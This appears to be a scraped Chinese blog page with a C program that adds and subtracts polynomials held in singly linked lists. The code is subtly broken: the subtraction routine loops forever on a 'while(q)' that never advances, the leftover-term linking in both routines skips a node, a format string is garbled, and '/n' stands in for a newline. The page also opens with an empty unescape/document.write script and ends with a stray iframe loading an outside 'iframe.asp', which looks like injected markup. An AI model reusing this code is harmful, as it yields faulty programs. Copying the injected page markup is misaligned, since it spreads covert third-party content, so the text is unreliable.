HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
多项式相加减
/*
Name:多相式相加减
Author:wujilin
Description:利用单链表实现多项式相加减
注意多项式表达形式
<5,3 4,2 5,1 9,0>表示5乘以x的3次方加上4乘以x的平方加上5乘以x的
一次方加上9乘以x的0次方 也就是说 逗号前面的为系数 逗号后面的为
x的幂次方
Date: 16-07-06 18:37
Copyright:
comment: 总觉得方法太臭 以后看看有没有好的方法 做些修改
*/
#include<stdio.h>
#include<stdlib.h>
#define ERROR 1
typedef struct Node
{
int data;
int mi;
struct Node *next;
}Node,*LinkList;
void CreatLinkList(LinkList *L) /*创建带头结点的单链表*/
{
(*L) = (LinkList)malloc(sizeof(Node));
if(*L == NULL)
{
printf("out of space");
exit(1);
}
(*L)->next = NULL;
}
void InitLinkList(LinkList *L, int n)//n为非0项的个数
{
Node *p, *q;
int i;
q = *L; /* 不要用L 去叠代,那样怎么返回链表呢?*/
for (i = n; i > 0; i--)
{
p = (LinkList)malloc(sizeof(Node));
if (p == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
printf("请输入系数和幂:");
scanf("%d%d",&(p->data),&(p->mi));
p->next = q->next;
q->next = p;
q = p;
}
}
void add(LinkList *La, LinkList *Lb, LinkList *Lc)
{
Node *p, *q, *s,*l;
p = (*La)->next;
q = (*Lb)->next;
l = (*Lc);
while (p && q)
{
if (p->mi > q->mi)
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = p->mi;
s->data = p->data;
s->next = l->next;
l->next = s;
l = s;
p = p->next;
}
else
{
if (p->mi < q->mi)
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = q->mi;
s->data = q->data;
s->next = l->next;
l->next = s;
l = s;
q = q->next;
}
else
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = p->mi;
s->data = p->data + q->data;
s->next = l->next;
l->next = s;
l = s;
q = q->next;
p = p->next;
}
}
}
if (p)
{
l->next = p->next;
}
if (q)
{
l->next = q->next;
}
}
void sub(LinkList *La, LinkList *Lb, LinkList *Ld)//多项式La减多项式Lb
{
Node *p, *q, *s,*l;
p = (*La)->next;
q = (*Lb)->next;
l = (*Ld);
while (p && q)
{
if (p->mi > q->mi)
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = p->mi;
s->data = p->data;
s->next = l->next;
l->next = s;
l = s;
p = p->next;
}
else
{
if (p->mi < q->mi)
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = q->mi;
s->data = -q->data;
s->next = l->next;
l->next = s;
l = s;
q = q->next;
}
else
{
s = (LinkList)malloc(sizeof(Node));
if (s == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
s->mi = p->mi;
s->data = p->data - q->data;
s->next = l->next;
l->next = s;
l = s;
q = q->next;
p = p->next;
}
}
}
if (p)
{
l->next = p->next;
}
if (q)
{
while(q)
{
q->data = -q->data;
}
l->next = q->next;
}
}
void Output(LinkList *head)
{
LinkList p;
p = (*head)->next;
do
{
printf("M,%d",p->data, p->mi);
p = p->next;
}
while(p != NULL);
}
int main(void)
{
LinkList La, Lb, Lc, Ld, Le;
int n, m ;
CreatLinkList(&La);
CreatLinkList(&Lb);
CreatLinkList(&Lc);
CreatLinkList(&Ld);
CreatLinkList(&Le);
printf("请输入La的非0项个数:");
scanf("%d",&n);
InitLinkList(&La,n);
printf("请输入Lb的非0项个数:");
scanf("%d",&m);
InitLinkList(&Lb,m);
printf("/nLa的表达式为:<");
Output(&La);
printf(">/n");
printf("Lb的表达式为:<");
Output(&Lb);
printf(">/n");
getchar();
add(&La, &Lb, &Lc);
printf("相加后得到Lc的表达式为:<");
Output(&Lc);
printf(">/n");
sub(&La, &Lb, &Ld);
printf("相减(La-Lb)后得到Ld的表达式为:<");
Output(&Ld);
printf(">/n");
printf("相减(Lb-La)后得到Le的表达式为:<");
sub(&Lb, &La, &Le);
Output(&Le);
printf(">/n");
system("pause");
return 0;
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">